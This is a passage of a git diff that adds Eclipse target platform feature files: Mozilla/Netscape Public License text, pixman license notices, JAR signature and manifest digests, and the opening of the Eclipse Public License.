apparatus claims, in any patent Licensable by grantor. + + 1.11. "Source Code" means the preferred form of the Covered Code for + making modifications to it, including all modules it contains, plus + any associated interface definition files, scripts used to control + compilation and installation of an Executable, or source code + differential comparisons against either the Original Code or another + well known, available Covered Code of the Contributor's choice. The + Source Code can be in a compressed or archival form, provided the + appropriate decompression or de-archiving software is widely available + for no charge. + + 1.12. "You" (or "Your") means an individual or a legal entity + exercising rights under, and complying with all of the terms of, this + License or a future version of this License issued under Section 6.1. + For legal entities, "You" includes any entity which controls, is + controlled by, or is under common control with You. For purposes of + this definition, "control" means (a) the power, direct or indirect, + to cause the direction or management of such entity, whether by + contract or otherwise, or (b) ownership of more than fifty percent + (50%) of the outstanding shares or beneficial ownership of such + entity. + +2. Source Code License. + + 2.1. The Initial Developer Grant. + The Initial Developer hereby grants You a world-wide, royalty-free, + non-exclusive license, subject to third party intellectual property + claims: + (a) under intellectual property rights (other than patent or + trademark) Licensable by Initial Developer to use, reproduce, + modify, display, perform, sublicense and distribute the Original + Code (or portions thereof) with or without Modifications, and/or + as part of a Larger Work; and + + (b) under Patents Claims infringed by the making, using or + selling of Original Code, to make, have made, use, practice, + sell, and offer for sale, and/or otherwise dispose of the + Original Code (or portions thereof). + + (c) the licenses granted in this Section 2.1(a) and (b) are + effective on the date Initial Developer first distributes + Original Code under the terms of this License. + + (d) Notwithstanding Section 2.1(b) above, no patent license is + granted: 1) for code that You delete from the Original Code; 2) + separate from the Original Code; or 3) for infringements caused + by: i) the modification of the Original Code or ii) the + combination of the Original Code with other software or devices. + + 2.2. Contributor Grant. + Subject to third party intellectual property claims, each Contributor + hereby grants You a world-wide, royalty-free, non-exclusive license + + (a) under intellectual property rights (other than patent or + trademark) Licensable by Contributor, to use, reproduce, modify, + display, perform, sublicense and distribute the Modifications + created by such Contributor (or portions thereof) either on an + unmodified basis, with other Modifications, as Covered Code + and/or as part of a Larger Work; and + + (b) under Patent Claims infringed by the making, using, or + selling of Modifications made by that Contributor either alone + and/or in combination with its Contributor Version (or portions + of such combination), to make, use, sell, offer for sale, have + made, and/or otherwise dispose of: 1) Modifications made by that + Contributor (or portions thereof); and 2) the combination of + Modifications made by that Contributor with its Contributor + Version (or portions of such combination). + + (c) the licenses granted in Sections 2.2(a) and 2.2(b) are + effective on the date Contributor first makes Commercial Use of + the Covered Code. + + (d) Notwithstanding Section 2.2(b) above, no patent license is + granted: 1) for any code that Contributor has deleted from the + Contributor Version; 2) separate from the Contributor Version; + 3) for infringements caused by: i) third party modifications of + Contributor Version or ii) the combination of Modifications made + by that Contributor with other software (except as part of the + Contributor Version) or other devices; or 4) under Patent Claims + infringed by Covered Code in the absence of Modifications made by + that Contributor. + +3. Distribution Obligations. + + 3.1. Application of License. + The Modifications which You create or to which You contribute are + governed by the terms of this License, including without limitation + Section 2.2. The Source Code version of Covered Code may be + distributed only under the terms of this License or a future version + of this License released under Section 6.1, and You must include a + copy of this License with every copy of the Source Code You + distribute. You may not offer or impose any terms on any Source Code + version that alters or restricts the applicable version of this + License or the recipients' rights hereunder. However, You may include + an additional document offering the additional rights described in + Section 3.5. + + 3.2. Availability of Source Code. + Any Modification which You create or to which You contribute must be + made available in Source Code form under the terms of this License + either on the same media as an Executable version or via an accepted + Electronic Distribution Mechanism to anyone to whom you made an + Executable version available; and if made available via Electronic + Distribution Mechanism, must remain available for at least twelve (12) + months after the date it initially became available, or at least six + (6) months after a subsequent version of that particular Modification + has been made available to such recipients. You are responsible for + ensuring that the Source Code version remains available even if the + Electronic Distribution Mechanism is maintained by a third party. + + 3.3. Description of Modifications. + You must cause all Covered Code to which You contribute to contain a + file documenting the changes You made to create that Covered Code and + the date of any change. You must include a prominent statement that + the Modification is derived, directly or indirectly, from Original + Code provided by the Initial Developer and including the name of the + Initial Developer in (a) the Source Code, and (b) in any notice in an + Executable version or related documentation in which You describe the + origin or ownership of the Covered Code. + + 3.4. Intellectual Property Matters + (a) Third Party Claims. + If Contributor has knowledge that a license under a third party's + intellectual property rights is required to exercise the rights + granted by such Contributor under Sections 2.1 or 2.2, + Contributor must include a text file with the Source Code + distribution titled "LEGAL" which describes the claim and the + party making the claim in sufficient detail that a recipient will + know whom to contact. If Contributor obtains such knowledge after + the Modification is made available as described in Section 3.2, + Contributor shall promptly modify the LEGAL file in all copies + Contributor makes available thereafter and shall take other steps + (such as notifying appropriate mailing lists or newsgroups) + reasonably calculated to inform those who received the Covered + Code that new knowledge has been obtained. + + (b) Contributor APIs. + If Contributor's Modifications include an application programming + interface and Contributor has knowledge of patent licenses which + are reasonably necessary to implement that API, Contributor must + also include this information in the LEGAL file. + + (c) Representations. + Contributor represents that, except as disclosed pursuant to + Section 3.4(a) above, Contributor believes that Contributor's + Modifications are Contributor's original creation(s) and/or + Contributor has sufficient rights to grant the rights conveyed by + this License. + + 3.5. Required Notices. + You must duplicate the notice in Exhibit A in each file of the Source + Code. If it is not possible to put such notice in a particular Source + Code file due to its structure, then You must include such notice in a + location (such as a relevant directory) where a user would be likely + to look for such a notice. If You created one or more Modification(s) + You may add your name as a Contributor to the notice described in + Exhibit A. You must also duplicate this License in any documentation + for the Source Code where You describe recipients' rights or ownership + rights relating to Covered Code. You may choose to offer, and to + charge a fee for, warranty, support, indemnity or liability + obligations to one or more recipients of Covered Code. However, You + may do so only on Your own behalf, and not on behalf of the Initial + Developer or any Contributor. You must make it absolutely clear than + any such warranty, support, indemnity or liability obligation is + offered by You alone, and You hereby agree to indemnify the Initial + Developer and every Contributor for any liability incurred by the + Initial Developer or such Contributor as a result of warranty, + support, indemnity or liability terms You offer. + + 3.6. Distribution of Executable Versions. + You may distribute Covered Code in Executable form only if the + requirements of Section 3.1-3.5 have been met for that Covered Code, + and if You include a notice stating that the Source Code version of + the Covered Code is available under the terms of this License, + including a description of how and where You have fulfilled the + obligations of Section 3.2. The notice must be conspicuously included + in any notice in an Executable version, related documentation or + collateral in which You describe recipients' rights relating to the + Covered Code. You may distribute the Executable version of Covered + Code or ownership rights under a license of Your choice, which may + contain terms different from this License, provided that You are in + compliance with the terms of this License and that the license for the + Executable version does not attempt to limit or alter the recipient's + rights in the Source Code version from the rights set forth in this + License. If You distribute the Executable version under a different + license You must make it absolutely clear that any terms which differ + from this License are offered by You alone, not by the Initial + Developer or any Contributor. You hereby agree to indemnify the + Initial Developer and every Contributor for any liability incurred by + the Initial Developer or such Contributor as a result of any such + terms You offer. + + 3.7. Larger Works. + You may create a Larger Work by combining Covered Code with other code + not governed by the terms of this License and distribute the Larger + Work as a single product. In such a case, You must make sure the + requirements of this License are fulfilled for the Covered Code. + +4. Inability to Comply Due to Statute or Regulation. + + If it is impossible for You to comply with any of the terms of this + License with respect to some or all of the Covered Code due to + statute, judicial order, or regulation then You must: (a) comply with + the terms of this License to the maximum extent possible; and (b) + describe the limitations and the code they affect. Such description + must be included in the LEGAL file described in Section 3.4 and must + be included with all distributions of the Source Code. Except to the + extent prohibited by statute or regulation, such description must be + sufficiently detailed for a recipient of ordinary skill to be able to + understand it. + +5. Application of this License. + + This License applies to code to which the Initial Developer has + attached the notice in Exhibit A and to related Covered Code. + +6. Versions of the License. + + 6.1. New Versions. + Netscape Communications Corporation ("Netscape") may publish revised + and/or new versions of the License from time to time. Each version + will be given a distinguishing version number. + + 6.2. Effect of New Versions. + Once Covered Code has been published under a particular version of the + License, You may always continue to use it under the terms of that + version. You may also choose to use such Covered Code under the terms + of any subsequent version of the License published by Netscape. No one + other than Netscape has the right to modify the terms applicable to + Covered Code created under this License. + + 6.3. Derivative Works. + If You create or use a modified version of this License (which you may + only do in order to apply it to code which is not already Covered Code + governed by this License), You must (a) rename Your license so that + the phrases "Mozilla", "MOZILLAPL", "MOZPL", "Netscape", + "MPL", "NPL" or any confusingly similar phrase do not appear in your + license (except to note that your license differs from this License) + and (b) otherwise make it clear that Your version of the license + contains terms which differ from the Mozilla Public License and + Netscape Public License. (Filling in the name of the Initial + Developer, Original Code or Contributor in the notice described in + Exhibit A shall not of themselves be deemed to be modifications of + this License.) + +7. DISCLAIMER OF WARRANTY. + + COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, + WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, + WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF + DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. + THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE + IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, + YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE + COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER + OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF + ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER. + +8. TERMINATION. + + 8.1. This License and the rights granted hereunder will terminate + automatically if You fail to comply with terms herein and fail to cure + such breach within 30 days of becoming aware of the breach. All + sublicenses to the Covered Code which are properly granted shall + survive any termination of this License. Provisions which, by their + nature, must remain in effect beyond the termination of this License + shall survive. + + 8.2. If You initiate litigation by asserting a patent infringement + claim (excluding declatory judgment actions) against Initial Developer + or a Contributor (the Initial Developer or Contributor against whom + You file such action is referred to as "Participant") alleging that: + + (a) such Participant's Contributor Version directly or indirectly + infringes any patent, then any and all rights granted by such + Participant to You under Sections 2.1 and/or 2.2 of this License + shall, upon 60 days notice from Participant terminate prospectively, + unless if within 60 days after receipt of notice You either: (i) + agree in writing to pay Participant a mutually agreeable reasonable + royalty for Your past and future use of Modifications made by such + Participant, or (ii) withdraw Your litigation claim with respect to + the Contributor Version against such Participant. If within 60 days + of notice, a reasonable royalty and payment arrangement are not + mutually agreed upon in writing by the parties or the litigation claim + is not withdrawn, the rights granted by Participant to You under + Sections 2.1 and/or 2.2 automatically terminate at the expiration of + the 60 day notice period specified above. + + (b) any software, hardware, or device, other than such Participant's + Contributor Version, directly or indirectly infringes any patent, then + any rights granted to You by such Participant under Sections 2.1(b) + and 2.2(b) are revoked effective as of the date You first made, used, + sold, distributed, or had made, Modifications made by that + Participant. + + 8.3. If You assert a patent infringement claim against Participant + alleging that such Participant's Contributor Version directly or + indirectly infringes any patent where such claim is resolved (such as + by license or settlement) prior to the initiation of patent + infringement litigation, then the reasonable value of the licenses + granted by such Participant under Sections 2.1 or 2.2 shall be taken + into account in determining the amount or value of any payment or + license. + + 8.4. In the event of termination under Sections 8.1 or 8.2 above, + all end user license agreements (excluding distributors and resellers) + which have been validly granted by You or any distributor hereunder + prior to termination shall survive termination. + +9. LIMITATION OF LIABILITY. + + UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT + (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL + DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, + OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR + ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY + CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, + WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER + COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN + INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF + LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY + RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW + PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE + EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO + THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU. + +10. U.S. GOVERNMENT END USERS. + + The Covered Code is a "commercial item," as that term is defined in + 48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer + software" and "commercial computer software documentation," as such + terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 + C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), + all U.S. Government End Users acquire Covered Code with only those + rights set forth herein. + +11. MISCELLANEOUS. + + This License represents the complete agreement concerning subject + matter hereof. If any provision of this License is held to be + unenforceable, such provision shall be reformed only to the extent + necessary to make it enforceable. This License shall be governed by + California law provisions (except to the extent applicable law, if + any, provides otherwise), excluding its conflict-of-law provisions. + With respect to disputes in which at least one party is a citizen of, + or an entity chartered or registered to do business in the United + States of America, any litigation relating to this License shall be + subject to the jurisdiction of the Federal Courts of the Northern + District of California, with venue lying in Santa Clara County, + California, with the losing party responsible for costs, including + without limitation, court costs and reasonable attorneys' fees and + expenses. The application of the United Nations Convention on + Contracts for the International Sale of Goods is expressly excluded. + Any law or regulation which provides that the language of a contract + shall be construed against the drafter shall not apply to this + License. + +12. RESPONSIBILITY FOR CLAIMS. + + As between Initial Developer and the Contributors, each party is + responsible for claims and damages arising, directly or indirectly, + out of its utilization of rights under this License and You agree to + work with Initial Developer and Contributors to distribute such + responsibility on an equitable basis. Nothing herein is intended or + shall be deemed to constitute any admission of liability. + +13. MULTIPLE-LICENSED CODE. + + Initial Developer may designate portions of the Covered Code as + "Multiple-Licensed". "Multiple-Licensed" means that the Initial + Developer permits you to utilize portions of the Covered Code under + Your choice of the NPL or the alternative licenses, if any, specified + by the Initial Developer in the file described in Exhibit A. + +EXHIBIT A -Mozilla Public License. + + ``The contents of this file are subject to the Mozilla Public License + Version 1.1 (the "License"); you may not use this file except in + compliance with the License. You may obtain a copy of the License at + http://www.mozilla.org/MPL/ + + Software distributed under the License is distributed on an "AS IS" + basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the + License for the specific language governing rights and limitations + under the License. + + The Original Code is ______________________________________. + + The Initial Developer of the Original Code is ________________________. + Portions created by ______________________ are Copyright (C) ______ + _______________________. All Rights Reserved. + + Contributor(s): ______________________________________. + + Alternatively, the contents of this file may be used under the terms + of the _____ license (the "[___] License"), in which case the + provisions of [______] License are applicable instead of those + above. If you wish to allow use of your version of this file only + under the terms of the [____] License and not to allow others to use + your version of this file under the MPL, indicate your decision by + deleting the provisions above and replace them with the notice and + other provisions required by the [___] License. If you do not delete + the provisions above, a recipient may use your version of this file + under either the MPL or the [___] License." + + [NOTE: The text of this Exhibit A may differ slightly from the text of + the notices in the Source Code files of the Original Code. You should + use the text of this Exhibit A rather than the text found in the + Original Code Source Code for Your Modifications.] + diff --git a/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/motif_root/about_files/pixman-licenses.txt b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/motif_root/about_files/pixman-licenses.txt new file mode 100755 index 0000000..5d8dca6 --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/motif_root/about_files/pixman-licenses.txt @@ -0,0 +1,92 @@ +libpixregion + +Copyright 1987, 1998 The Open Group + +Permission to use, copy, modify, distribute, and sell this software and its +documentation for any purpose is hereby granted without fee, provided that +the above copyright notice appear in all copies and that both that +copyright notice and this permission notice appear in supporting +documentation. + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN +AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +Except as contained in this notice, the name of The Open Group shall not be +used in advertising or otherwise to promote the sale, use or other dealings +in this Software without prior written authorization from The Open Group. + + +Copyright 1987 by Digital Equipment Corporation, Maynard, Massachusetts. + + All Rights Reserved + +Permission to use, copy, modify, and distribute this software and its +documentation for any purpose and without fee is hereby granted, +provided that the above copyright notice appear in all copies and that +both that copyright notice and this permission notice appear in +supporting documentation, and that the name of Digital not be +used in advertising or publicity pertaining to distribution of the +software without specific, written prior permission. + +DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING +ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL +DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR +ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, +WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, +ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS +SOFTWARE. + +---------------------------------------------------------------------- +libic + +Copyright © 2001 Keith Packard + +Permission to use, copy, modify, distribute, and sell this software and its +documentation for any purpose is hereby granted without fee, provided that +the above copyright notice appear in all copies and that both that +copyright notice and this permission notice appear in supporting +documentation, and that the name of Keith Packard not be used in +advertising or publicity pertaining to distribution of the software without +specific, written prior permission. Keith Packard makes no +representations about the suitability of this software for any purpose. It +is provided "as is" without express or implied warranty. + +KEITH PACKARD DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, +INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO +EVENT SHALL KEITH PACKARD BE LIABLE FOR ANY SPECIAL, INDIRECT OR +CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, +DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER +TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR +PERFORMANCE OF THIS SOFTWARE. + +---------------------------------------------------------------------- +slim + +slim is Copyright © 2003 Richard Henderson + +Permission to use, copy, modify, distribute, and sell this software +and its documentation for any purpose is hereby granted without fee, +provided that the above copyright notice appear in all copies and that +both that copyright notice and this permission notice appear in +supporting documentation, and that the name of Richard Henderson not be +used in advertising or publicity pertaining to distribution of the +software without specific, written prior permission. Richard Henderson +makes no representations about the suitability of this software for +any purpose. It is provided "as is" without express or implied +warranty. + +RICHARD HENDERSON DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, +INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO +EVENT SHALL RICHARD HENDERSON BE LIABLE FOR ANY SPECIAL, INDIRECT OR +CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF +USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR +OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR +PERFORMANCE OF THIS SOFTWARE. + diff --git a/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/META-INF/ECLIPSEF.RSA b/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/META-INF/ECLIPSEF.RSA new file mode 100755 index 0000000..881133e Binary files /dev/null and b/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/META-INF/ECLIPSEF.RSA differ diff --git a/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/META-INF/ECLIPSEF.SF b/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/META-INF/ECLIPSEF.SF new file mode 100755 index 0000000..0b8a41c --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/META-INF/ECLIPSEF.SF @@ -0,0 +1,23 @@ +Signature-Version: 1.0 +SHA1-Digest-Manifest: o4h+WhYDxxgsxfde/KFV/NCgFSU= +Created-By: 1.6.0 (IBM Corporation) +SHA1-Digest-Manifest-Main-Attributes: 4gIfTP5y3EzwI5ecyebQLugBMgo= + +Name: epl-v10.html +SHA1-Digest: /iY8aEvT0IMpNnSjB0FpTUhvUGc= + +Name: eclipse_update_120.jpg +SHA1-Digest: RyXo3knk5T635eCpQEPXyFBrCyA= + +Name: META-INF/eclipse.inf +SHA1-Digest: SAqY+5ITAL0mkdYeijlSRhyIaZk= + +Name: license.html +SHA1-Digest: Rp9AnRyeUIxNWe10fjaMDkQB8rU= + +Name: feature.properties +SHA1-Digest: siYmD/FGVu1PgapA9a1Ry/kJbAw= + +Name: feature.xml +SHA1-Digest: LPqXgq4Zbg6S5sECf265hgEiqPs= + diff --git a/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/META-INF/MANIFEST.MF b/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/META-INF/MANIFEST.MF new file mode 100755 index 0000000..2de985c --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/META-INF/MANIFEST.MF @@ -0,0 +1,21 @@ +Manifest-Version: 1.0 +Created-By: 1.6.0 (IBM Corporation) + +Name: epl-v10.html +SHA1-Digest: jYDaDJLBJpthCwPMgGFVYASJjIU= + +Name: META-INF/eclipse.inf +SHA1-Digest: KyT9FF7C7t86NoBoa2kZT3ZJBfw= + +Name: eclipse_update_120.jpg +SHA1-Digest: xstAqMgs/a5AsQXQZSdDQ79veOA= + +Name: license.html +SHA1-Digest: /vLZjlHkZSXMSfPrWwNqOUDqqbM= + +Name: feature.properties +SHA1-Digest: x/LIFEtPEANQfOvb2FjDfHiuum4= + +Name: feature.xml +SHA1-Digest: opdSPVZki2GFZY+djxW/dJWoais= + diff --git a/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/META-INF/eclipse.inf b/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/META-INF/eclipse.inf new file mode 100755 index 0000000..7864d3c --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/META-INF/eclipse.inf @@ -0,0 +1,3 @@ +#Processed using Jarprocessor +pack200.args = -E4 +pack200.conditioned = true diff --git a/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/eclipse_update_120.jpg b/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/eclipse_update_120.jpg new file mode 100755 index 0000000..bfdf708 Binary files /dev/null and b/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/eclipse_update_120.jpg differ diff --git a/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/epl-v10.html b/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/epl-v10.html new file mode 100755 index 0000000..fd39122 --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.p2.core.feature_1.0.1.v20110906-1605-8290FZ9FVKHVRKtmx3fpNuo02129/epl-v10.html @@ -0,0 +1,261 @@ + + + + + + +Eclipse Public License - Version 1.0 + + + + + + +

    Eclipse Public License - v 1.0

    + +

    THE ACCOMPANYING PROGRAM IS PROVIDED UNDER THE TERMS OF THIS ECLIPSE +PUBLIC LICENSE ("AGREEMENT"). ANY USE, REPRODUCTION OR +DISTRIBUTION OF THE PROGRAM CONSTITUTES RECIPIENT'S ACCEPTANCE OF THIS +AGREEMENT.

    + +

    1. DEFINITIONS

    + +

    "Contribution" means:

    + +

    a) in the case of the initial Contributor, the initial +code and documentation distributed under this Agreement, and

    +

    b) in the case of each subsequent Contributor:

    +

    i) changes to the Program, and

    +

    ii) additions to the Program;

    +

    where such changes and/or additions to the Program +originate from and are distributed by that particular Contributor. A +Contribution 'originates' from a Contributor if it was added to the +Program by such Contributor itself or anyone acting on such +Contributor's behalf. Contributions do not include additions to the +Program which: (i) are separate modules of software distributed in +conjunction with the Program under their own license agreement, and (ii) +are not derivative works of the Program.

    + +

    "Contributor" means any person or entity that distributes +the Program.

    + +

    "Licensed Patents" mean patent claims licensable by a +Contributor which are necessarily infringed by the use or sale of its +Contribution alone or when combined with the Program.

    + +

    "Program" means the Contributions distributed in accordance +with this Agreement.

    + +

    "Recipient" means anyone who receives the Program under +this Agreement, including all Contributors.

    + +

    2. GRANT OF RIGHTS

    + +

    a) Subject to the terms of this Agreement, each +Contributor hereby grants Recipient a non-exclusive, worldwide, +royalty-free copyright license to reproduce, prepare derivative works +of, publicly display, publicly perform, distribute and sublicense the +Contribution of such Contributor, if any, and such derivative works, in +source code and object code form.

    + +

    b) Subject to the terms of this Agreement, each +Contributor hereby grants Recipient a non-exclusive, worldwide, +royalty-free patent license under Licensed Patents to make, use, sell, +offer to sell, import and otherwise transfer the Contribution of such +Contributor, if any, in source code and object code form. This patent +license shall apply to the combination of the Contribution and the +Program if, at the time the Contribution is added by the Contributor, +such addition of the Contribution causes such combination to be covered +by the Licensed Patents. The patent license shall not apply to any other +combinations which include the Contribution. No hardware per se is +licensed hereunder.

    + +

    c) Recipient understands that although each Contributor +grants the licenses to its Contributions set forth herein, no assurances +are provided by any Contributor that the Program does not infringe the +patent or other intellectual property rights of any other entity. Each +Contributor disclaims any liability to Recipient for claims brought by +any other entity based on infringement of intellectual property rights +or otherwise. As a condition to exercising the rights and licenses +granted hereunder, each Recipient hereby assumes sole responsibility to +secure any other intellectual property rights needed, if any. For +example, if a third party patent license is required to allow Recipient +to distribute the Program, it is Recipient's responsibility to acquire +that license before distributing the Program.

    + +

    d) Each Contributor represents that to its knowledge it +has sufficient copyright rights in its Contribution, if any, to grant +the copyright license set forth in this Agreement.

    + +

    3. REQUIREMENTS

    + +

    A Contributor may choose to distribute the Program in object code +form under its own license agreement, provided that:

    + +

    a) it complies with the terms and conditions of this +Agreement; and

    + +

    b) its license agreement:

    + +

    i) effectively disclaims on behalf of all Contributors +all warranties and conditions, express and implied, including warranties +or conditions of title and non-infringement, and implied warranties or +conditions of merchantability and fitness for a particular purpose;

    + +

    ii) effectively excludes on behalf of all Contributors +all liability for damages, including direct, indirect, special, +incidental and consequential damages, such as lost profits;

    + +

    iii) states that any provisions which differ from this +Agreement are offered by that Contributor alone and not by any other +party; and

    + +

    iv) states that source code for the Program is available +from such Contributor, and informs licensees how to obtain it in a +reasonable manner on or through a medium customarily used for software +exchange.

    + +

    When the Program is made available in source code form:

    + +

    a) it must be made available under this Agreement; and

    + +

    b) a copy of this Agreement must be included with each +copy of the Program.

    + +

    Contributors may not remove or alter any copyright notices contained +within the Program.

    + +

    Each Contributor must identify itself as the originator of its +Contribution, if any, in a manner that reasonably allows subsequent +Recipients to identify the originator of the Contribution.

    + +

    4. COMMERCIAL DISTRIBUTION

    + +

    Commercial distributors of software may accept certain +responsibilities with respect to end users, business partners and the +like. While this license is intended to facilitate the commercial use of +the Program, the Contributor who includes the Program in a commercial +product offering should do so in a manner which does not create +potential liability for other Contributors. Therefore, if a Contributor +includes the Program in a commercial product offering, such Contributor +("Commercial Contributor") hereby agrees to defend and +indemnify every other Contributor ("Indemnified Contributor") +against any losses, damages and costs (collectively "Losses") +arising from claims, lawsuits and other legal actions brought by a third +party against the Indemnified Contributor to the extent caused by the +acts or omissions of such Commercial Contributor in connection with its +distribution of the Program in a commercial product offering. The +obligations in this section do not apply to any claims or Losses +relating to any actual or alleged intellectual property infringement. In +order to qualify, an Indemnified Contributor must: a) promptly notify +the Commercial Contributor in writing of such claim, and b) allow the +Commercial Contributor to control, and cooperate with the Commercial +Contributor in, the defense and any related settlement negotiations. The +Indemnified Contributor may participate in any such claim at its own +expense.

    + +

    For example, a Contributor might include the Program in a commercial +product offering, Product X. That Contributor is then a Commercial +Contributor. If that Commercial Contributor then makes performance +claims, or offers warranties related to Product X, those performance +claims and warranties are such Commercial Contributor's responsibility +alone. Under this section, the Commercial Contributor would have to +defend claims against the other Contributors related to those +performance claims and warranties, and if a court requires any other +Contributor to pay any damages as a result, the Commercial Contributor +must pay those damages.

    + +

    5. NO WARRANTY

    + +

